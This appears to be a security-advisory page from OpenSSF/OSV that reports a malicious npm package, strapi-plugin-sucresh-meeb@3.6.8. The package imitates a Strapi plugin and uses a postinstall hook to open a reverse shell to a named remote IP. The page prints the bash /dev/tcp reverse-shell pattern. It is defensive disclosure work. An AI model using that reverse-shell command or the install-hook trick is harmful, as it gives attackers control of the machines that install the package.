strapi-plugin-sucresh-meeb@3.6.8: Malicious npm security report

OSV Malicious Advisory

imported 25d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16189 confirms this npm version as malicious. strapi-plugin-sucresh-meeb@3.6.8 declares a postinstall lifecycle hook (`node postinstall.js`) that runs automatically on `npm install`. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (`bash -i > /dev/tcp/<host>/<port> 0>&1`) connecting to the hardcoded remote endpoint 14.225.210.85:443...

Advisory

MAL-2026-16189

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in strapi-plugin-sucresh-meeb (npm)

Details

strapi-plugin-sucresh-meeb@3.6.8 declares a postinstall lifecycle hook (`node postinstall.js`) that runs automatically on `npm install`. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (`bash -i > /dev/tcp/<host>/<port> 0>&1`) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer.

Decision reason

OpenSSF Malicious Packages via OSV confirms strapi-plugin-sucresh-meeb@3.6.8 as malicious (MAL-2026-16189): Malicious code in strapi-plugin-sucresh-meeb (npm)

References

OSV advisory PACKAGE

Source & flagged code

0 flagged

No flagged code excerpts are attached to this scan.

strapi-plugin-sucresh-meeb@3.6.8

OSV Malicious Advisory

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code